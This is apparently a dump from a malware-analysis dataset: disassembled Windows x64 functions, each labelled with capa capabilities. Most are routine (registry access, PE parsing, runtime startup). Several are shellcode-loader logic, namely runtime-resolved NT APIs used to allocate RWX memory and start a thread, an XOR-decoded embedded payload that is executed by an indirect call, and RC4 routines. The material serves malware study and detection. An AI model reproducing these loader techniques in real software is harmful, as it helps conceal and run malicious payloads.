joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f850
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 0x30
mov rbx, qword [rsp + 0x80]
mov r12, r9
mov rsi, r8
mov r15, rdx
mov rdi, rcx
cmp r8, rbx
jne 0x14000f898
lea rdx, str.RegistryEx.cpp
lea rcx, str.pszValue___pszDefaultValue
mov r8d, 0x126
call fcn.1400078b0
xor ebp, ebp
mov r13d, ebp
test r15, r15
je 0x14000fa30
test rsi, rsi
je 0x14000fa30
test r12, r12
je 0x14000fa30
mov rcx, qword [rdi + 0x10]
or rdi, 0xffffffffffffffff
mov qword [rsp + 0x60], r14
test rcx, rcx
je 0x14000f9e5
mov r14, qword [rsp + 0x88]
mov r13d, dword [r12]
mov qword [rsp + 0x68], rcx
test r14, r14
je 0x14000f90d
lea rax, [rsp + 0x68]
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r14
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000f9e5
mov rcx, qword [rsp + 0x68]
lea r9, [rsp + 0x80]
xor r8d, r8d
mov rdx, r15
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov r15d, eax
test r14, r14
je 0x14000f93e
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [rsp + 0x80]
cmp ecx, 2
jne 0x14000f9b0
mov eax, 2
mul r13
cmovo rax, rdi
mov rcx, rax
call fcn.1400100a8
mov r14, rax
test rax, rax
je 0x14000f9a9
mov r8d, r13d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rdx, rsi
mov rcx, r14
sub rdx, r14
nop
movzx eax, word [rcx]
lea rcx, [rcx + 2]
mov word [rdx + rcx - 2], ax
test ax, ax
jne 0x14000f980
mov rax, rdi
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000f994
mov rcx, r14
mov dword [r12], eax
call fcn.1400113f0
mov ecx, dword [rsp + 0x80]
test r15d, r15d
jne 0x14000f9e5
lea eax, [rcx - 1]
cmp eax, 1
jbe 0x14000f9c2
cmp ecx, 7
jne 0x14000f9c7
mov ebp, 1
mov eax, ebp
mov r14, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r13
pop r12
pop rdi
pop rsi
ret
test rbx, rbx
je 0x14000fa2c
nop word [rax + rax]
cmp word [rbx + rdi*2 + 2], bp
lea rdi, [rdi + 1]
jne 0x14000f9f0
lea ecx, [rdi*2 + 2]
cmp ecx, r13d
ja 0x14000fa2c
sub rsi, rbx
nop word [rax + rax]
movzx eax, word [rbx]
lea rbx, [rbx + 2]
mov word [rsi + rbx - 2], ax
test ax, ax
jne 0x14000fa10
mov dword [r12], ecx
mov eax, 1
jmp 0x14000f9c9
xor eax, eax
jmp 0x14000f9c9
xor eax, eax
jmp 0x14000f9ce
Function at 0x14000fc40
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push r14
sub rsp, 0x60
mov rcx, qword [rcx + 0x10]
mov rsi, r9
mov r14d, r8d
mov rbp, rdx
test rcx, rcx
je 0x14000fd23
test rdx, rdx
je 0x14000fd23
test r9, r9
je 0x14000fd23
mov qword [r11 + 0x10], rbx
xor ebx, ebx
mov qword [r11 - 0x18], rcx
cmp qword [rsp + 0x98], rbx
je 0x14000fce4
mov rdx, qword [rsp + 0x98]
lea rax, [r11 + 8]
xor r9d, r9d
mov qword [r11 - 0x28], rax
lea rax, [r11 - 0x18]
xor r8d, r8d
mov qword [r11 - 0x30], rax
mov qword [r11 - 0x38], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000fcdf
xor eax, eax
mov rbx, qword [rsp + 0x78]
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rcx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x90]
mov r9d, r14d
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, rbp
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
cmp qword [rsp + 0x98], rbx
je 0x14000fd1a
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete bl
mov eax, ebx
jmp 0x14000fcc7
lea r11, [rsp + 0x60]
xor eax, eax
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140001e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001e93
test rsi, rsi
je 0x140001e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400020b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400020d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call qword [rax]
nop
nop
sub rsp, 0x28
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__exit]
call qword [rax]
nop
nop
nop
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400020e8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400020f0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400021f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400047e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002210
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002218
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002210
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000226d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002210
add rax, 0x28
cmp rax, r9
jne 0x140002250
xor eax, eax
ret

Function at 0x140002270
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400047e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000228f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002298
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000228f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002330
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400047e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000234f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002358
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002510
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov r8d, 0x2c
mov ecx, 2
lea rdx, str._stack_smashing_detected_:_terminated_n
call sub.api_ms_win_crt_stdio_l1_1_0.dll__write
mov ecx, 0x17
call sub.KERNEL32.dll_IsProcessorFeaturePresent
test eax, eax
je 0x140002540
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002920
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov r13, qword [0x1400048b0]
mov rax, qword [r13]
mov qword [rsp + 0x78], rax
xor eax, eax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.NTDLL.DLL
call sub.KERNEL32.dll_GetModuleHandleW
lea rdx, str.NtAllocateVirtualMemory
mov r14, rax
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtQueueApcThread
mov rcx, r14
mov rdi, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtCreateThreadEx
mov rcx, r14
mov r12, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtWaitForSingleObject
mov rcx, r14
mov r15, rax
call sub.KERNEL32.dll_GetProcAddress
lea rdx, str.NtClose
mov rcx, r14
mov rbp, rax
call sub.KERNEL32.dll_GetProcAddress
xor r10d, r10d
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x60], r10
lea rdx, [rsp + 0x60]
mov r14, rax
mov eax, ebx
mov qword [rsp + 0x68], r10
lea r9, [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
call rdi
test eax, eax
jne 0x140002a7f
mov rdi, qword [rsp + 0x60]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x50], rdx
lea rcx, [rsp + 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rdx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x28], r9
or r9, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call r15
test eax, eax
jne 0x140002a7f
xor eax, eax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
call r12
test eax, eax
jne 0x140002a7f
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140002a77
xor r8d, r8d
mov edx, 1
call rbp
mov rcx, qword [rsp + 0x68]
call r14
mov rax, qword [rsp + 0x78]
sub rax, qword [r13]
je 0x140002a90
call fcn.140002510
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002bd0
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x250
mov rbx, qword [0x1400048b0]
lea rsi, section..rdata
mov rax, qword [rbx]
mov qword [rsp + 0x248], rax
xor eax, eax
lea rdi, [rsp + 0x28]
mov r9, rcx
mov ecx, 8
rep movsd dword [rdi], dword [rsi]
lea r10, [rsp + 0x148]
mov r11, rdx
lea rbp, [rsp + 0x48]
mov rdx, rax
mov byte [rax + r10], al
inc rax
and edx, 0x1f
mov dl, byte [rsp + rdx + 0x28]
mov byte [rax + rbp - 1], dl
cmp rax, 0x100
jne 0x140002c1b
mov r12, r10
xor esi, esi
xor r13d, r13d
mov edi, 0x100
movzx eax, byte [r12]
movzx edx, byte [rbp + rsi]
inc rsi
add eax, r13d
add eax, edx
cdq
idiv edi
movsxd rcx, edx
mov rdx, r12
inc r12
mov r13, rcx
add rcx, r10
call fcn.140002ab0
cmp rsi, 0x100
jne 0x140002c45
lea rdi, [r9 + r11]
xor ebp, ebp
xor r12d, r12d
cmp rdi, r9
je 0x140002cd5
lea eax, [rbp + 1]
cdq
idiv esi
movsxd r13, edx
movzx eax, byte [rsp + r13 + 0x148]
lea rcx, [r10 + r13]
mov rbp, r13
add eax, r12d
cdq
idiv esi
movsxd r14, edx
lea rdx, [r10 + r14]
mov r12, r14
call fcn.140002ab0
mov cl, byte [rsp + r14 + 0x148]
add cl, byte [rsp + r13 + 0x148]
movzx ecx, cl
mov al, byte [rsp + rcx + 0x148]
xor byte [r9], al
inc r9
jmp 0x140002c80
mov rax, qword [rsp + 0x248]
sub rax, qword [rbx]
je 0x140002ce7
call fcn.140002510
mov rax, r11
add rsp, 0x250
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140024440]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140024450]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140027008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400243b0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.140001920
mov rcx, qword [0x1400244d0]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140024430]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001730
mov ebx, dword [0x140027028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x140027020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140027020], rbp
call fcn.140001530
mov rax, qword [0x1400243c0]
mov r8, qword [0x140027018]
mov ecx, dword [0x140027028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140027020]
call fcn.1400029c0
mov ecx, dword [0x14002700c]
mov dword [0x140027010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140027008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140024450]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.1400026d0
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140024470]
mov rcx, qword [0x140024460]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140027010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140024490]
mov rcx, qword [0x140024480]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
Function at 0x140001740
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002540
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x1400017b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140027094]
mov rbx, rcx
test esi, esi
jle 0x1400018e0
mov rax, qword [0x140027098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001885
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017e0
mov rcx, rbx
call fcn.140002220
mov rdi, rax
test rax, rax
je 0x140001902
mov rax, qword [0x140027098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002360
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140027098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000187e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001890
add dword [0x140027094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140027098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000187e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001740
nop dword [rax]
xor esi, esi
jmp 0x140001808
mov rax, qword [0x140027098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001740
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001740
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140001e90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140027100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400270e0]
test rbx, rbx
je 0x140001eec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001ee3
test eax, eax
jne 0x140001ee3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001ec8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002220
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140024380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002240
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002248
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002240
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000229d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002294
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002240
add rax, 0x28
cmp rax, r9
jne 0x140002280
xor eax, eax
ret

Function at 0x1400022a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140024380]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140024380]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002388
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400029c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x28
call fcn.140001530
movd xmm2, dword [0x140022fe8]
movq xmm0, qword [0x140023040]
lea rcx, [0x140023040]
movq xmm1, qword [0x140022fe0]
movzx eax, byte [0x14002304c]
xor al, byte [0x140022fec]
pxor xmm0, xmm1
mov byte [0x14002304c], al
movq qword [0x140023040], xmm0
movd xmm0, dword [0x140023048]
pxor xmm0, xmm2
movd dword [0x140023048], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movd xmm3, dword [0x140022fe8]
movq xmm0, qword [0x140023030]
movq xmm1, qword [0x140022fe0]
movzx edx, word [0x140022fec]
mov rcx, rax
movzx eax, word [0x14002303c]
pxor xmm0, xmm1
movq qword [0x140023030], xmm0
xor eax, edx
movd xmm0, dword [0x140023038]
lea rdx, [0x140023030]
mov word [0x14002303c], ax
pxor xmm0, xmm3
movd dword [0x140023038], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140023020], rax
call fcn.140002940
mov edx, eax
mov eax, 1
test dl, dl
je 0x140002a9c
add rsp, 0x28
ret
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1fed4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r11, [0x140003100]
xor edx, edx
lea r8, [0x140022fe0]
mov r10, rax
lea r9, [r11 + 0x1fed4]
mov rax, r11
movsxd rcx, edx
add edx, 1
movzx ecx, byte [r8 + rcx]
xor byte [rax], cl
lea rcx, [rax + 1]
cmp rcx, r9
je 0x140002b08
cmp edx, 0x2f
jne 0x140002b03
add rax, 2
movzx edx, byte [r8]
xor byte [rcx], dl
cmp r9, rax
je 0x140002b08
mov edx, 1
jmp 0x140002ad2
mov rax, rcx
jmp 0x140002ad2
mov r8d, 0x1fed4
mov rdx, r11
mov rcx, r10
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
call rax
xor eax, eax
jmp 0x140002a97
Function at 0x40160a
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
add rax, 0x60
mov r9, rax
mov r8d, 9
mov edx, 1
lea rcx, str.Stack_now
call sub.msvcrt.dll_fwrite
jmp 0x401675
mov rax, qword [rbp + 0x10]
movzx eax, word [rax]
cwde
mov dword [rbp - 4], eax
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
add rax, 0x60
mov edx, dword [rbp - 4]
mov r8d, edx
lea rdx, [0x00521137]
mov rcx, rax
call sub.msvcrt.dll_fprintf
add qword [rbp + 0x10], 2
mov rax, qword [rbp + 0x10]
cmp rax, qword [rbp + 0x18]
jbe 0x401643
mov rax, qword [sym.imp.msvcrt.dll___iob_func]
call rax
add rax, 0x60
mov rdx, rax
mov ecx, 0xa
call sub.msvcrt.dll_fputc
nop
add rsp, 0x30
pop rbp
ret
Function at 0x4087a6
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp - 4], 0
mov rax, qword [0x0059e150]
test rax, rax
je 0x4087e2
mov rax, qword [0x0059e150]
mov rdx, qword [0x0059e140]
shl rdx, 3
add rax, rdx
mov rax, qword [rax]
jmp 0x4087e7
mov eax, 0
mov rax, qword [rax]
test rax, rax
je 0x408845
mov rax, qword [0x0059e120]
test rax, rax
je 0x408845
mov rdx, qword [0x0059e120]
mov eax, dword [rbp + 0x18]
cdqe
mov r9, rdx
mov r8, rax
mov edx, 1
mov rcx, qword [rbp + 0x10]
call sub.msvcrt.dll_fread
mov dword [rbp - 4], eax
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x18]
jge 0x408845
mov rax, qword [0x0059e120]
mov rcx, rax
call sub.msvcrt.dll_ferror
test eax, eax
je 0x408845
lea rcx, str._F_P:_read_in_flex_scanner_failed_n
call fcn.00426ada
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret